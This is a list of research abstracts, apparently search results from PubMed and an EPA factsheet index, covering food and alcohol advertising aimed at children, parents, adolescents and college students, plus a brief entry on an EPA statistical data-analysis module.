    Nutritionally poor foods are heavily advertised to children on television. Whether those same products are also advertised to parents on television has not been systematically examined. This study is a content analysis of advertisements for children's packaged foods and beverages aired over US network, cable, and syndicated television for 1 year (2012 to 2013). The target audience of each advertisement was defined as children or parents based on advertisement content, where parent-directed advertisements included emotional appeals related to family bonding and love. Advertisement characteristics and patterns of airtime were compared across target audience, and the proportion of total airtime devoted to advertisements targeting parents was computed. Fifty-one children's food or beverage products were advertised over the study year, 25 (49%) of which were advertised directly to parents. Parent-directed advertisements more often featured nutrition and health messaging and an active lifestyle than child-directed advertisements, whereas child-directed advertisements more frequently highlighted fun and product taste. Over all products, 42.4% of total airtime was devoted to advertisements that targeted parents. The products with the most amount of airtime over the study year were ready-to-eat cereals, sugar-sweetened beverages, and children's yogurt, and the proportion of total advertisement airtime for those products devoted to parents was 24.4%, 72.8%, and 25.8%, respectively. Television advertisements for children's packaged foods and beverages frequently targeted parents with emotional appeals and messaging related to nutrition and health. Findings are of concern if exposure to such advertisements among parents may shape their beliefs about the appropriateness of nutritionally questionable children's foods and beverages. Copyright © 2015 by the American Academy of Pediatrics.

  16. Children’s Food and Beverage Promotion on Television to Parents

    PubMed Central

    Smith, Marietta E.; Mathur, Suman J.; Sargent, James D.; Gilbert-Diamond, Diane

    2015-01-01

    BACKGROUND: Nutritionally poor foods are heavily advertised to children on television. Whether those same products are also advertised to parents on television has not been systematically examined. METHODS: This study is a content analysis of advertisements for children’s packaged foods and beverages aired over US network, cable, and syndicated television for 1 year (2012 to 2013). The target audience of each advertisement was defined as children or parents based on advertisement content, where parent-directed advertisements included emotional appeals related to family bonding and love. Advertisement characteristics and patterns of airtime were compared across target audience, and the proportion of total airtime devoted to advertisements targeting parents was computed. RESULTS: Fifty-one children’s food or beverage products were advertised over the study year, 25 (49%) of which were advertised directly to parents. Parent-directed advertisements more often featured nutrition and health messaging and an active lifestyle than child-directed advertisements, whereas child-directed advertisements more frequently highlighted fun and product taste. Over all products, 42.4% of total airtime was devoted to advertisements that targeted parents. The products with the most amount of airtime over the study year were ready-to-eat cereals, sugar-sweetened beverages, and children’s yogurt, and the proportion of total advertisement airtime for those products devoted to parents was 24.4%, 72.8%, and 25.8%, respectively. DISCUSSION: Television advertisements for children’s packaged foods and beverages frequently targeted parents with emotional appeals and messaging related to nutrition and health. Findings are of concern if exposure to such advertisements among parents may shape their beliefs about the appropriateness of nutritionally questionable children’s foods and beverages. PMID:26553181

  17. The commercial food landscape: outdoor food advertising around primary schools in Australia.

    PubMed

    Kelly, Bridget; Cretikos, Michelle; Rogers, Kris; King, Lesley

    2008-12-01

    Food marketing is linked to childhood obesity through its influence on children's food preferences, purchase requests and food consumption. We aimed to describe the volume and nature of outdoor food advertisements and factors associated with outdoor food advertising in the area surrounding Australian primary schools. Forty primary schools in Sydney and Wollongong were selected using random sampling within population density and socio-economic strata. The area within a 500 m radius of each school was scanned and advertisements coded according to pre-defined criteria, including: food or non-food product advertisement, distance from the school, size and location. Food advertisements were further categorised as core foods, non-core foods and miscellaneous drinks (tea and coffee). The number of advertisements identified was 9,151, of which 2,286 (25%) were for food. The number of non-core food advertisements was 1,834, this accounted for 80% of food advertisements. Soft drinks and alcoholic beverages were the food products most commonly advertised around primary schools (24% and 22% of food advertisements, respectively). Non-core food products were twice as likely to be advertised close to a primary school (95 non-core food advertisements per km(2) within 250 m vs. 46 advertisements per km(2) within 250-500 m). The density of non-core food advertisements within 500 m of primary schools, and the potential for repeated exposure of children to soft drink and alcoholic beverage advertisements in particular, highlights the need for outdoor food marketing policy intervention. Outdoor advertising is an important food marketing tool that should be considered in future debates on regulation of food marketing to children.

  18. A comparison of memory for and attitudes about alcohol, cigarette, and other product advertisements in college students.

    PubMed

    Zinser, O; Freeman, J E; Ginnings, D K

    1999-01-01

    The purpose of this study was to compare the attitude ratings and recall scores of cigarette, alcohol, automobile, deodorant, jeans, soft drink, athletic shoe, breakfast cereal, and fast food restaurant advertisements. Male and female college students rated the advertisements of these product groups on a number of traits--adventurous, eye-catching, appealing, informative, believable, good times, recreational, effectiveness, romantic, athletic, buy product, and honesty. Drawing on their everyday experience, the students also were asked to recall as much about the advertisements from these product groups as they could. The results revealed that the rating and recall scores of the alcohol advertisements were significantly higher than those for the cigarette advertisements and among the highest of all of the advertisement groups. The female recall scores generally were significantly higher than the male recall scores. In contrast to the cigarette advertisements, the high scores of the alcohol advertisements were interpreted to be due in part to the wider distribution alcohol advertising has had. That alcohol advertising ranked among the highest of all of the advertising groups indicates that college students view alcohol advertising very favorably.

  19. CADDIS Volume 4. Data Analysis: Biological and Environmental Data Requirements

    EPA Pesticide Factsheets

    Overview of PECBO Module, using scripts to infer environmental conditions from biological observations, statistically estimating species-environment relationships, methods for inferring environmental conditions, statistical scripts in module.

  20. Alcohol advertising in magazines and adolescent readership.

    PubMed

    Garfield, Craig F; Chung, Paul J; Rathouz, Paul J

    2003-05-14

    Adolescent drinking is a major public health concern. The federal government does not restrict alcohol advertising to adolescents, but relies on the alcohol industry for self-regulation. To investigate recent alcohol advertising in magazines and to determine whether advertising frequency is associated with adolescent readership. All alcohol advertisements were counted that appeared from 1997-2001 in 35 of 48 major US magazines, which tracked their adolescent readership (3 refused all alcohol advertisements; and advertisement counts were unavailable for 10). Variation was assessed in the advertisement placement frequency for each major category of alcohol (beer, wine and wine coolers, and distilled liquor) by a magazine's adolescent readership (age 12-19 years), young adult readership (age 20-24 years), and older adult readership (age > or =25 years); readership demographics (sex, race, and income); year; frequency of publication; and cost per advertisement. Variation in alcohol advertising frequency by adolescent readership. Adolescent readership ranged from 1.0 to 7.1 million. The alcohol industry placed 9148 advertisements at a cost of 696 million dollars. Of the 9148 advertisements, 1201 (13%) were for beer, 443 (5%) for wine, and 7504 (82%) for liquor. After adjustment for other magazine characteristics, the advertisement rate ratio was 1.6 times more for beer (95% confidence interval [CI], 1.0-2.6; P =.05) and liquor (95% CI, 1.1-2.3; P =.01) for every additional million adolescent readers. Wine industry advertising was not associated with adolescent readership. Magazine advertising by the beer and liquor industries is associated with adolescent readership. Industry and federal policymakers should examine ways to regulate advertising that reaches large numbers of adolescents.

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